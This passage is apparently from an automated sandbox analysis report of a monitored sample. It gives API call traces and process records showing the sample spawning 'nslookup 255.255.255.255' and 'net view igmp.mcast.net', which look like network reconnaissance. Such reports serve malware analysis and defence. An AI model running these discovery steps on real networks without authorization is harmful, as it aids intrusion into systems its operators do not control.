DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0055.305] NtOpenKey (in: KeyHandle=0x20fb00, DesiredAccess=0x20019, ObjectAttributes=0x20fa40*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x20fb00*=0x0) returned 0xc0000034 [0055.305] RtlFreeAnsiString (AnsiString="\\") [0055.305] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393980 [0055.305] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393d90 [0055.305] RtlAnsiStringToUnicodeString (in: DestinationString=0x20fa08, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0055.305] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x393980, Length=0x400, ResultLength=0x20fa00 | out: KeyValueInformation=0x393980*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x20fa00) returned 0x0 [0055.305] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393d90) returned 1 [0055.305] RtlUnicodeStringToAnsiString (in: DestinationString=0x20fa18, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0055.305] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393980) returned 1 [0055.305] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393980 [0055.305] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393d90 [0055.305] RtlAnsiStringToUnicodeString (in: DestinationString=0x20fa08, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0055.306] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x393980, Length=0x400, ResultLength=0x20fa00 | out: KeyValueInformation=0x393980, ResultLength=0x20fa00) returned 0xc0000034 [0055.306] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393d90) returned 1 [0055.306] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393980) returned 1 [0055.306] gethostname (in: name=0xe5ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0055.348] free (_Block=0xe5ed0) [0055.348] malloc (_Size=0x20) returned 0xe5a50 [0055.348] getenv (_VarName="HOME") returned 0x0 [0055.348] DnsQueryConfigAllocEx () returned 0x1c71620 [0055.378] _vsnprintf (in: _DstBuf=0x20f9b0, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x1ff928 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0055.378] htons (hostshort=0x1) returned 0x100 [0055.378] htons (hostshort=0x1) returned 0x100 [0055.380] socket (af=2, type=2, protocol=0) returned 0x110 [0055.380] connect (s=0x110, name=0x1c71640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0055.381] send (s=0x110, buf=0x1ff9b0*, len=42, flags=0) returned 42 [0055.381] select (in: nfds=272, readfds=0x1ef420, writefds=0x0, exceptfds=0x0, timeout=0x1ef3f8*(tv_sec=2, tv_usec=0) | out: readfds=0x1ef420, writefds=0x0, exceptfds=0x0) returned 1 [0056.643] recv (in: s=0x110, buf=0x1ef910, len=65536, flags=0 | out: buf=0x1ef910*) returned 42 [0056.643] closesocket (s=0x110) returned 0 [0056.644] RtlIpv4AddressToStringExA () returned 0xc000000d [0056.644] DnsFreeConfigStructure () returned 0x1d1e2401 [0056.644] malloc (_Size=0xc) returned 0x21df80 [0056.644] strcpy_s (in: _Dst=0x21df80, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0056.644] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x39aba0 [0056.644] strcpy_s (in: _Dst=0xff2e3020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0056.645] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x20f868, nSize=0x0, Arguments=0x20f860 | out: lpBuffer="") returned 0x7 [0056.645] fprintf (in: _File=0x7fefe122ab0, _Format="%-7s %s" | out: _File=0x7fefe122ab0) returned 16 [0056.646] fprintf (in: _File=0x7fefe122ab0, _Format="\nAddress:" | out: _File=0x7fefe122ab0) returned 9 [0056.646] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0056.646] fprintf (in: _File=0x7fefe122ab0, _Format="%c %s" | out: _File=0x7fefe122ab0) returned 13 [0056.646] fprintf (in: _File=0x7fefe122ab0, _Format="\n\n" | out: _File=0x7fefe122ab0) returned 2 [0056.646] RtlIpv4StringToAddressA () returned 0x0 [0056.646] _vsnprintf (in: _DstBuf=0x20f6d0, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x1ff648 | out: _DstBuf="252.0.0.224.in-addr.arpa.") returned 25 [0056.646] htons (hostshort=0x2) returned 0x200 [0056.646] htons (hostshort=0x1) returned 0x100 [0056.646] socket (af=2, type=2, protocol=0) returned 0x110 [0056.646] connect (s=0x110, name=0x39abc0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0056.646] send (s=0x110, buf=0x1ff6d0*, len=42, flags=0) returned 42 [0056.647] select (in: nfds=272, readfds=0x1ef140, writefds=0x0, exceptfds=0x0, timeout=0x1ef118*(tv_sec=2, tv_usec=0) | out: readfds=0x1ef140, writefds=0x0, exceptfds=0x0) returned 1 [0056.732] recv (in: s=0x110, buf=0x1ef630, len=65536, flags=0 | out: buf=0x1ef630*) returned 99 [0056.733] closesocket (s=0x110) returned 0 [0056.733] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x34, dwLanguageId=0x400, lpBuffer=0x20f7e0, nSize=0x0, Arguments=0x20f7e8 | out: lpBuffer="P\x8f8") returned 0x39 [0056.733] CharToOemBuffA (in: lpszSrc="*** UnKnown can't find 224.0.0.252: Non-existent domain\r\n", lpszDst=0x388f50, cchDstLength=0x39 | out: lpszDst="*** UnKnown can't find 224.0.0.252: Non-existent domain\r\n") returned 1 [0056.733] _write (in: _FileHandle=2, _Buf=0x388f50*, _MaxCharCount=0x39 | out: _Buf=0x388f50*) returned 57 [0056.734] LocalFree (hMem=0x388f50) returned 0x0 [0056.734] free (_Block=0x21df80) [0056.734] LocalFree (hMem=0x39aba0) returned 0x0 [0056.734] free (_Block=0x21df30) [0056.734] exit (_Code=0) Thread: id = 389 os_tid = 0xba4 Process: id = "31" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x2cda8000" os_pid = "0xb98" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0x878" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 255.255.255.255" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 392 os_tid = 0xb94 [0057.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16f770 | out: lpSystemTimeAsFileTime=0x16f770*(dwLowDateTime=0x41f9d590, dwHighDateTime=0x1d5dff7)) [0057.979] GetCurrentProcessId () returned 0xb98 [0057.979] GetCurrentThreadId () returned 0xb94 [0057.979] GetTickCount () returned 0x1158a65 [0057.979] QueryPerformanceCounter (in: lpPerformanceCount=0x16f778 | out: lpPerformanceCount=0x16f778*=19988594031) returned 1 [0057.981] GetModuleHandleW (lpModuleName=0x0) returned 0xff360000 [0057.981] __set_app_type (_Type=0x1) [0057.981] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3709f8) returned 0x0 [0057.981] __getmainargs (in: _Argc=0xff37aa00, _Argv=0xff37aa10, _Env=0xff37aa08, _DoWildCard=0, _StartInfo=0xff37aa1c | out: _Argc=0xff37aa00, _Argv=0xff37aa10, _Env=0xff37aa08) returned 0 [0057.981] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0057.981] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0057.984] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff382e80 | out: lpWSAData=0xff382e80) returned 0 [0057.991] malloc (_Size=0x40) returned 0x36df30 [0057.991] socket (af=2, type=2, protocol=0) returned 0x6c [0057.993] closesocket (s=0x6c) returned 0 [0057.993] RtlIpv4StringToAddressA () returned 0x0 [0057.993] RtlInitAnsiString (in: DestinationString=0x16f5d0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0057.993] RtlAnsiStringToUnicodeString (in: DestinationString=0x16f5c0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0057.993] NtOpenKey (in: KeyHandle=0x16f698, DesiredAccess=0x20019, ObjectAttributes=0x16f5e0*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x16f698*=0x6c) returned 0x0 [0057.993] RtlFreeAnsiString (AnsiString="\\") [0057.993] malloc (_Size=0x3200) returned 0x355ed0 [0057.994] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x400) returned 0x1b3990 [0057.994] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x400) returned 0x1b3da0 [0057.994] RtlAnsiStringToUnicodeString (in: DestinationString=0x16f5a8, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0057.994] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x1b3990, Length=0x400, ResultLength=0x16f5a0 | out: KeyValueInformation=0x1b3990, ResultLength=0x16f5a0) returned 0xc0000034 [0057.994] RtlFreeHeap (HeapHandle=0x190000, Flags=0x0, BaseAddress=0x1b3da0) returned 1 [0057.994] RtlFreeHeap (HeapHandle=0x190000, Flags=0x0, BaseAddress=0x1b3990) returned 1 [0057.994] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x400) returned 0x1b3990 [0057.994] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x400) returned 0x1b3da0 [0057.994] RtlAnsiStringToUnicodeString (in: DestinationString=0x16f5a8, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0057.994] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x1b3990, Length=0x400, ResultLength=0x16f5a0 | out: KeyValueInformation=0x1b3990*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x16f5a0) returned 0x0 [0057.994] RtlFreeHeap (HeapHandle=0x190000, Flags=0x0, BaseAddress=0x1b3da0) returned 1 [0057.994] RtlUnicodeStringToAnsiString (in: DestinationString=0x16f5b8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0057.994] RtlFreeHeap (HeapHandle=0x190000, Flags=0x0, BaseAddress=0x1b3990) returned 1 [0057.994] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x400) returned 0x1b3990 [0057.994] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x400) returned 0x1b3da0 [0057.994] RtlAnsiStringToUnicodeString (in: DestinationString=0x16f5a8, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0057.994] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x1b3990, Length=0x400, ResultLength=0x16f5a0 | out: KeyValueInformation=0x1b3990, ResultLength=0x16f5a0) returned 0xc0000034 [0057.994] RtlFreeHeap (HeapHandle=0x190000, Flags=0x0, BaseAddress=0x1b3da0) returned 1 [0057.994] RtlFreeHeap (HeapHandle=0x190000, Flags=0x0, BaseAddress=0x1b3990) returned 1 [0057.994] RtlInitAnsiString (in: DestinationString=0x16f5d0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0057.994] RtlAnsiStringToUnicodeString (in: DestinationString=0x16f5c0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0057.994] NtOpenKey (in: KeyHandle=0x16f6a0, DesiredAccess=0x20019, ObjectAttributes=0x16f5e0*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x16f6a0*=0x0) returned 0xc0000034 [0057.994] RtlFreeAnsiString (AnsiString="\\") [0057.994] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x400) returned 0x1b3990 [0057.995] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x400) returned 0x1b3da0 [0057.995] RtlAnsiStringToUnicodeString (in: DestinationString=0x16f5a8, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0057.995] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x1b3990, Length=0x400, ResultLength=0x16f5a0 | out: KeyValueInformation=0x1b3990*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x16f5a0) returned 0x0 [0057.995] RtlFreeHeap (HeapHandle=0x190000, Flags=0x0, BaseAddress=0x1b3da0) returned 1 [0057.995] RtlUnicodeStringToAnsiString (in: DestinationString=0x16f5b8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0057.995] RtlFreeHeap (HeapHandle=0x190000, Flags=0x0, BaseAddress=0x1b3990) returned 1 [0057.995] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x400) returned 0x1b3990 [0057.995] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x400) returned 0x1b3da0 [0057.995] RtlAnsiStringToUnicodeString (in: DestinationString=0x16f5a8, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0057.995] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x1b3990, Length=0x400, ResultLength=0x16f5a0 | out: KeyValueInformation=0x1b3990, ResultLength=0x16f5a0) returned 0xc0000034 [0057.995] RtlFreeHeap (HeapHandle=0x190000, Flags=0x0, BaseAddress=0x1b3da0) returned 1 [0057.995] RtlFreeHeap (HeapHandle=0x190000, Flags=0x0, BaseAddress=0x1b3990) returned 1 [0057.995] gethostname (in: name=0x355ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0058.031] free (_Block=0x355ed0) [0058.031] malloc (_Size=0x20) returned 0x36df80 [0058.031] getenv (_VarName="HOME") returned 0x0 [0058.031] DnsQueryConfigAllocEx () returned 0x1cf1620 [0059.119] _vsnprintf (in: _DstBuf=0x16f550, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x15f4c8 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0059.119] htons (hostshort=0x1) returned 0x100 [0059.119] htons (hostshort=0x1) returned 0x100 [0059.121] socket (af=2, type=2, protocol=0) returned 0x110 [0059.121] connect (s=0x110, name=0x1cf1640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0059.121] send (s=0x110, buf=0x15f550*, len=42, flags=0) returned 42 [0059.122] select (in: nfds=272, readfds=0x14efc0, writefds=0x0, exceptfds=0x0, timeout=0x14ef98*(tv_sec=2, tv_usec=0) | out: readfds=0x14efc0, writefds=0x0, exceptfds=0x0) returned 1 [0059.122] recv (in: s=0x110, buf=0x14f4b0, len=65536, flags=0 | out: buf=0x14f4b0*) returned 42 [0059.122] closesocket (s=0x110) returned 0 [0059.122] RtlIpv4AddressToStringExA () returned 0xc000000d [0059.122] DnsFreeConfigStructure () returned 0x4e32a701 [0059.122] malloc (_Size=0xc) returned 0x36dfb0 [0059.122] strcpy_s (in: _Dst=0x36dfb0, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0059.122] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x1babb0 [0059.122] strcpy_s (in: _Dst=0xff383020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0059.123] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x16f408, nSize=0x0, Arguments=0x16f400 | out: lpBuffer="p¡\x1c") returned 0x7 [0059.123] fprintf (in: _File=0x7fefe122ab0, _Format="%-7s %s" | out: _File=0x7fefe122ab0) returned 16 [0059.123] fprintf (in: _File=0x7fefe122ab0, _Format="\nAddress:" | out: _File=0x7fefe122ab0) returned 9 [0059.123] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0059.123] fprintf (in: _File=0x7fefe122ab0, _Format="%c %s" | out: _File=0x7fefe122ab0) returned 13 [0059.123] fprintf (in: _File=0x7fefe122ab0, _Format="\n\n" | out: _File=0x7fefe122ab0) returned 2 [0059.123] RtlIpv4StringToAddressA () returned 0x0 [0059.124] _vsnprintf (in: _DstBuf=0x16f270, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x15f1e8 | out: _DstBuf="255.255.255.255.in-addr.arpa.") returned 29 [0059.124] htons (hostshort=0x2) returned 0x200 [0059.124] htons (hostshort=0x1) returned 0x100 [0059.124] socket (af=2, type=2, protocol=0) returned 0x110 [0059.124] connect (s=0x110, name=0x1babd0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0059.124] send (s=0x110, buf=0x15f270*, len=46, flags=0) returned 46 [0059.124] select (in: nfds=272, readfds=0x14ece0, writefds=0x0, exceptfds=0x0, timeout=0x14ecb8*(tv_sec=2, tv_usec=0) | out: readfds=0x14ece0, writefds=0x0, exceptfds=0x0) returned 1 [0059.125] recv (in: s=0x110, buf=0x14f1d0, len=65536, flags=0 | out: buf=0x14f1d0*) returned 105 [0059.125] closesocket (s=0x110) returned 0 [0059.125] htons (hostshort=0x100) returned 0x1 [0059.125] htons (hostshort=0x0) returned 0x0 [0059.125] htons (hostshort=0x100) returned 0x1 [0059.125] htons (hostshort=0x0) returned 0x0 [0059.125] htons (hostshort=0x100) returned 0x1 [0059.125] htons (hostshort=0x0) returned 0x0 [0059.125] fputs (in: _Str="255.255.255.255.in-addr.arpa", _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0059.125] fputc (in: _Ch=10, _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 10 [0059.125] fprintf (in: _File=0x7fefe122ab0, _Format="\x09primary name server = " | out: _File=0x7fefe122ab0) returned 23 [0059.125] fputs (in: _Str="localhost", _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0059.125] fprintf (in: _File=0x7fefe122ab0, _Format="\n\x09responsible mail addr = " | out: _File=0x7fefe122ab0) returned 26 [0059.125] fputs (in: _Str="nobody.invalid", _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0059.125] fprintf (in: _File=0x7fefe122ab0, _Format="\n\x09serial = %lu" | out: _File=0x7fefe122ab0) returned 13 [0059.125] sprintf_s (in: _DstBuf=0xff382138, _DstSize=0x28, _Format="%d hour%s" | out: _DstBuf="1 hour") returned 6 [0059.126] fprintf (in: _File=0x7fefe122ab0, _Format="\n\x09refresh = %lu (%s)" | out: _File=0x7fefe122ab0) returned 25 [0059.126] sprintf_s (in: _DstBuf=0xff382138, _DstSize=0x28, _Format="%d min%s" | out: _DstBuf="20 mins") returned 7 [0059.126] fprintf (in: _File=0x7fefe122ab0, _Format="\n\x09retry = %lu (%s)" | out: _File=0x7fefe122ab0) returned 26 [0059.126] sprintf_s (in: _DstBuf=0xff382138, _DstSize=0x28, _Format="%d day%s" | out: _DstBuf="7 days") returned 6 [0059.126] fprintf (in: _File=0x7fefe122ab0, _Format="\n\x09expire = %lu (%s)" | out: _File=0x7fefe122ab0) returned 27 [0059.126] sprintf_s (in: _DstBuf=0xff382138, _DstSize=0x28, _Format="%d hour%s" | out: _DstBuf="3 hours") returned 7 [0059.126] fprintf (in: _File=0x7fefe122ab0, _Format="\n\x09default TTL = %lu (%s)\n" | out: _File=0x7fefe122ab0) returned 32 [0059.127] htons (hostshort=0x100) returned 0x1 [0059.127] htons (hostshort=0x0) returned 0x0 [0059.127] htons (hostshort=0x100) returned 0x1 [0059.127] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x32, dwLanguageId=0x400, lpBuffer=0x16f380, nSize=0x0, Arguments=0x16f388 | out: lpBuffer="Ъ\x1b") returned 0x66 [0059.127] CharToOemBuffA (in: lpszSrc="*** No internal type for both IPv4 and IPv6 Addresses (A+AAAA) records available for 255.255.255.255\r\n", lpszDst=0x1baad0, cchDstLength=0x66 | out: lpszDst="*** No internal type for both IPv4 and IPv6 Addresses (A+AAAA) records available for 255.255.255.255\r\n") returned 1 [0059.127] _write (in: _FileHandle=2, _Buf=0x1baad0*, _MaxCharCount=0x66 | out: _Buf=0x1baad0*) returned 102 [0059.128] LocalFree (hMem=0x1baad0) returned 0x0 [0059.128] free (_Block=0x36dfb0) [0059.128] LocalFree (hMem=0x1babb0) returned 0x0 [0059.128] free (_Block=0x36df30) [0059.128] exit (_Code=0) Thread: id = 394 os_tid = 0xb84 Process: id = "32" image_name = "net.exe" filename = "c:\\windows\\system32\\net.exe" page_root = "0x1abae000" os_pid = "0xbe8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0x878" cmd_line = "C:\\Windows\\system32\\\\net.exe view igmp.mcast.net" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 396 os_tid = 0x83c Thread: id = 413 os_tid = 0xb24 Process: id = "33" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0x26c7d000" os_pid = "0x67c" os_integrity_level = "0x4000" os_privileges = "0x60b16000" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x1ac" cmd_line = "\"LogonUI.exe\" /flags:0x0" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 418 os_tid = 0x7cc Thread: id = 419 os_tid = 0xb30 Thread: id = 420 os_tid = 0xb3c Thread: id = 421 os_tid = 0x1c4 Thread: id = 422 os_tid = 0xa70 Thread: id = 423 os_tid = 0xb34 Thread: id = 424 os_tid = 0x5dc Thread: id = 425 os_tid = 0x560 Thread: id = 426 os_tid = 0x304 Process: id = "34" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "kernel_analysis" parent_id = "0" os_parent_pid = "0xffffffffffffffff" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 435 os_tid = 0x8 Thread: id = 436 os_tid = 0x3c [0254.270] ExAllocatePoolWithTag (PoolType=0x0, NumberOfBytes=0x1ccc8, Tag=0x72775044) returned 0xfffffa800369b000 Thread: id = 437 os_tid = 0x24 Thread: id = 438 os_tid = 0x90 Thread: id = 439 os_tid = 0x9c Thread: id = 440 os_tid = 0x78 Thread: id = 441 os_tid = 0xc0 Thread: id = 442 os_tid = 0x28 Thread: id = 443 os_tid = 0x30 Thread: id = 444 os_tid = 0x44 Thread: id = 445 os_tid = 0x40 Thread: id = 446 os_tid = 0x5c Thread: id = 447 os_tid = 0x4c Thread: id = 448 os_tid = 0xc4 Thread: id = 449 os_tid = 0xcc Thread: id = 450 os_tid = 0xd0 Thread: id = 451 os_tid = 0xb8 Thread: id = 452 os_tid = 0xd4 Thread: id = 453 os_tid = 0xd8 Thread: id = 454 os_tid = 0xdc Thread: id = 457 os_tid = 0x64 Thread: id = 459 os_tid = 0x38 Thread: id = 460 os_tid = 0x34 Thread: id = 461 os_tid = 0x48 Thread: id = 462 os_tid = 0x2c Thread: id = 463 os_tid = 0xf8 Thread: id = 464 os_tid = 0xfc Thread: id = 465 os_tid = 0x100 Thread: id = 466 os_tid = 0x104 Thread: id = 467 os_tid = 0x10c Thread: id = 468 os_tid = 0x110 Thread: id = 469 os_tid = 0x108 Thread: id = 470 os_tid = 0xb4 Thread: id = 471 os_tid = 0x114 Thread: id = 472 os_tid = 0x118 Thread: id = 473 os_tid = 0xb0 Thread: id = 477 os_tid = 0x134 Thread: id = 478 os_tid = 0x138 Thread: id = 479 os_tid = 0x13c Thread: id = 480 os_tid = 0x140 Thread: id = 500 os_tid = 0x198 Thread: id = 516 os_tid = 0x50 Thread: id = 520 os_tid = 0x88 Thread: id = 522 os_tid = 0x60 Thread: id = 547 os_tid = 0x98 Thread: id = 549 os_tid = 0x74 Thread: id = 554 os_tid = 0x274 Thread: id = 556 os_tid = 0x68 Thread: id = 584 os_tid = 0x2f0 Thread: id = 610 os_tid = 0x8c Thread: id = 612 os_tid = 0x80 Thread: id = 636 os_tid = 0x3c8 Thread: id = 674 os_tid = 0xbc Thread: id = 677 os_tid = 0x350 Thread: id = 678 os_tid = 0x390 Thread: id = 717 os_tid = 0x84 Thread: id = 722 os_tid = 0x94 Thread: id = 744 os_tid = 0x4f4 Thread: id = 769 os_tid = 0x4f8 Thread: id = 771 os_tid = 0x570 Thread: id = 807 os_tid = 0x610 Thread: id = 827 os_tid = 0x660 Thread: id = 835 os_tid = 0x684 Thread: id = 845 os_tid = 0xa0 Thread: id = 846 os_tid = 0x6b4 Thread: id = 853 os_tid = 0x6d0 Thread: id = 881 os_tid = 0x74c Thread: id = 887 os_tid = 0x764 Thread: id = 889 os_tid = 0x76c Thread: id = 892 os_tid = 0x778 Thread: id = 893 os_tid = 0x77c Thread: id = 894 os_tid = 0x780 Thread: id = 895 os_tid = 0x784 Thread: id = 896 os_tid = 0x20 Thread: id = 1098 os_tid = 0x7c Process: id = "35" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x2cacb000" os_pid = "0xe0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x4" cmd_line = "\\SystemRoot\\System32\\smss.exe" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 455 os_tid = 0xe4 Thread: id = 456 os_tid = 0xe8 Thread: id = 474 os_tid = 0x120 Thread: id = 485 os_tid = 0x164 Process: id = "36" image_name = "autochk.exe" filename = "c:\\windows\\system32\\autochk.exe" page_root = "0x2cd36000" os_pid = "0xec" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "35" os_parent_pid = "0xe0" cmd_line = "\\??\\C:\\Windows\\system32\\autochk.exe *" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" 